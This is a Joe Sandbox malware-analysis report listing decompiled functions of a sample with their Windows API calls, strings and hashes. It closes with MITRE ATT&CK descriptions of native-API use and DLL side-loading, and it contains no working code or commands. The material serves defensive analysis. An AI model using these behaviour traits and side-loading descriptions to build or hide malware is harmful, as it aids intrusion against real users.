Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 9758a1d882f23386e20c72b82c0d88aad3d4e069eea88abad1e99fc2cc8bdaab
Instruction ID: 7da4f9e1650a1273d155c38fd890282628d6adfa77dd2adebe077fddd4c4890c
Opcode Fuzzy Hash: 9758a1d882f23386e20c72b82c0d88aad3d4e069eea88abad1e99fc2cc8bdaab
Instruction Fuzzy Hash: BF314DB19012189BDB24EB91DD91FDDBB78AF48304F80419EF20567191DF786B88CF98

Uniqueness

Uniqueness Score: -1.00%

Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 61E01456
GetProcAddress.KERNEL32 ref: 61E01471

Strings

_Jv_RegisterClasses, xrefs: 61E01466
libgcj-16.dll, xrefs: 61E0144F

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction ID: ecefe885db533eab1004145bf0edfd2de441c317d2227bbbfd891c436449bb9f
Opcode Fuzzy Hash: 659acb1d45e1fe859de50aa712dc5e6a1f27a03cf8697e99cf940ea6467707a5
Instruction Fuzzy Hash: CBE06DB4914B029BEB017FF4850633EBAF5AFC570AF72C42CD4808A290EA30C4818763

Uniqueness

Uniqueness Score: -1.00%

Function 00415440 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C0E,00000000), ref: 0041544B
HeapAlloc.KERNEL32(00000000,?,?,00415C0E,00000000), ref: 00415452
wsprintfW.USER32 ref: 00415468

Strings

%hs, xrefs: 0041545F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction ID: 2a04a3b42468460cff415e79ad4cc7303691da2b1e165ac812b33aed5ccf4e4e
Opcode Fuzzy Hash: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction Fuzzy Hash: A5E0ECB5A40608BFDB20DFD4ED0AEAD77A9EB48701F100194F90AD7640DA719E109B95

Uniqueness

Uniqueness Score: -1.00%

Function 61E3720A Relevance: 6.4, APIs: 3, Strings: 1, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E373CE
memcmp.MSVCRT ref: 61E37560
memcmp.MSVCRT ref: 61E37690

Strings

0, xrefs: 61E3767C

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 7fdc829c56b0d73d757a58cb71872ab273c961bf249caa9fc6ea8f3c5a1c35e8
Instruction ID: 3f20ce3ba2961136da7f3248cde08971803f4c449cb9daae0617fd169a942f67
Opcode Fuzzy Hash: 7fdc829c56b0d73d757a58cb71872ab273c961bf249caa9fc6ea8f3c5a1c35e8
Instruction Fuzzy Hash: 6CE112B0E04269CBDB41CFA8C99078DBBF1BF89318F258569D859AB345D734E886CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E40BB5 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E40C37
memcmp.MSVCRT ref: 61E40C5C
memcmp.MSVCRT ref: 61E40C86
memcmp.MSVCRT ref: 61E40CB5
memcmp.MSVCRT ref: 61E40CE1

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction ID: fd79a925e1d847c1357e69ee8e74f21d123acc92255d85b94bee504056160bb0
Opcode Fuzzy Hash: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction Fuzzy Hash: C0414EB0A083058BE7049FA9D68439EBAF5EFD5358F25C83DE898CB384D775D4458B42

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D021 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 293stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3D129

Strings

], xrefs: 61E3D302
-, xrefs: 61E3D2AF
#, xrefs: 61E3D24E

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strncmp
String ID: #$-$]
API String ID: 1114863663-3149169660
Opcode ID: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction ID: 1c490b0b60c0b5d90f91e160a7bf365b8f8ab346ded86ed4ccdc7e106188df17
Opcode Fuzzy Hash: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction Fuzzy Hash: 82D15774D082698BDB01CF98C18479DFBF2BF89748FA9C059D854AB292D335E986CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB50 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00415250: GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CBD1
lstrlen.KERNEL32(00000000), ref: 0040CDE8
lstrlen.KERNEL32(00000000), ref: 0040CDFC
DeleteFileA.KERNEL32(00000000), ref: 0040CE75

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: da15e9c23a2301775afec79af067993f6487140cdf5effac0c754a509d088e2b
Instruction ID: 92554c0b57f0572055fa7ada1e736e4447f41fb5b5162a80bc9bab37cea52553
Opcode Fuzzy Hash: da15e9c23a2301775afec79af067993f6487140cdf5effac0c754a509d088e2b
Instruction Fuzzy Hash: 3D9105729101049BCB14FBA5EC92EEE7739BF54308F51456EF11673091EF38AA89CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00415250: GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 896f9c812aa8b7e39238063a8ad3927ddcf163f72dd5d00e79aeebdd3da47647
Instruction ID: 500b9d1e33f0095a00215a680d1ada5bdfc2be1e3caaeab305f744330ff7a773
Opcode Fuzzy Hash: 896f9c812aa8b7e39238063a8ad3927ddcf163f72dd5d00e79aeebdd3da47647
Instruction Fuzzy Hash: DF8123729101049BCB14FBA5EC62EEE7739BF54308F41456EF01677091EF38AA89CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E10: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137C6,00000000,?,02C52310,?,0041D8AC,?,00000000), ref: 00416E1B
Part of subcall function 00416E10: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E75

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6981be2cf1cdd22941c67a615d7ac9f89cb86d46825b48c77b28b8e07289bdd8
Instruction ID: ffa5ae7024fc84fe42ccc1905db149403b0dc818e2c0f045794a48176859bd33
Opcode Fuzzy Hash: 6981be2cf1cdd22941c67a615d7ac9f89cb86d46825b48c77b28b8e07289bdd8
Instruction Fuzzy Hash: F0415175D10109DBCB04EFE5D855AEEB775AF48704F00802EE51167291EB38A685CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416F10 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00416F62
lstrcat.KERNEL32(00000000), ref: 00416F72

Strings

6F@, xrefs: 00416F27
6F@, xrefs: 00416F19

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: 6F@$6F@
API String ID: 3905823039-140834422
Opcode ID: fc9c11ca647c1d07409241889e7542d4f0a4e68772d08c6816d9d9e33fdc1896
Instruction ID: 56c0199a50e8653ac9125d3cb153f70fb194558d088ad1e72fea9aa59575db47
Opcode Fuzzy Hash: fc9c11ca647c1d07409241889e7542d4f0a4e68772d08c6816d9d9e33fdc1896
Instruction Fuzzy Hash: CB11E874A00208EFCB04DF98E884AEEB375FF44304F1185A9F825AB391C734AA85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 61EAF6D0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 61EAF6F5
__dllonexit.MSVCRT ref: 61EAF733
_unlock.MSVCRT ref: 61EAF763
_onexit.MSVCRT ref: 61EAF777

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction ID: d8116788f2c50d2f41c70b1de34e9b41b7999a481f31fa547576aa82505b99b8
Opcode Fuzzy Hash: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction Fuzzy Hash: 7D1155B5A197418FCB40EF74D48455EBBE0AB89254F618D2EE4E5CB350E738D5848B82

Uniqueness

Uniqueness Score: -1.00%

Function 004159D0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159EC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A09
CloseHandle.KERNEL32(000000FF), ref: 00415A17

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: 1ab8040e435f60e99fcdb4054872b01d68dd80872176ed14e10054f3fd514ae1
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: 74F04439F44604FBDB20DBB0DC89FDE7779BF44714F11C255B951A7280DA74A6418B44

Uniqueness

Uniqueness Score: -1.00%

Function 00414440 Relevance: 6.0, APIs: 4, Instructions: 34memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041444D
HeapAlloc.KERNEL32(00000000), ref: 00414454
GetLocalTime.KERNEL32(?), ref: 00414461
wsprintfA.USER32 ref: 00414490

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction ID: 4df586b6dc15b0ab72eaa90ec8b013cc5aca6a98c8dd6c86bd1e3c66c74c2495
Opcode Fuzzy Hash: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction Fuzzy Hash: 1FF06DB6804618ABCB20DBD9DD48DBFB3FDBF4CB02F000549FA46A2180E6384A41D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 61EAFAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction ID: d36ff6d444c1f5105915669b8fb698cf4239ff4a3251c649fd02843d9bfa6c4b
Opcode Fuzzy Hash: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction Fuzzy Hash: C0316DB2A447018FE710DF68D99464AFBF0FB44358F55C92DD8A98B340E734E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00415250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Strings

#F@, xrefs: 0041525C, 004152D5, 004152E0, 004152F4, 004152C3, 004152E3
#F@, xrefs: 004152A1, 004152D1, 004152D4

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: #F@$#F@
API String ID: 62757014-661595268
Opcode ID: 40e92d335a47b88ee3a32adb2a537fdb8c09399f79b5cf6afd3f5f6a09ffa234
Instruction ID: 3860bfc3517b4730f3d36834c8225a5c638c4ab3a1aa0335482e709c791b0612
Opcode Fuzzy Hash: 40e92d335a47b88ee3a32adb2a537fdb8c09399f79b5cf6afd3f5f6a09ffa234
Instruction Fuzzy Hash: 4A119672D00008EFCB05EFA9D891AEE7BB5EF98304F54C05EE41567151EF38A985CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 61EAFEE0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 61EAFEEE
TlsGetValue.KERNEL32 ref: 61EAFF15
GetLastError.KERNEL32 ref: 61EAFF1C
LeaveCriticalSection.KERNEL32 ref: 61EAFF3C

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction ID: 3c942bbf6517c0ec0331f125ad054bd991ea38a51cb55fe1ac34f487ea1a944f
Opcode Fuzzy Hash: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction Fuzzy Hash: C0F081B6A016008FDB00BFB9A98951A7BA8EB46A44B19416CD9548B309D730E885CBE3

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
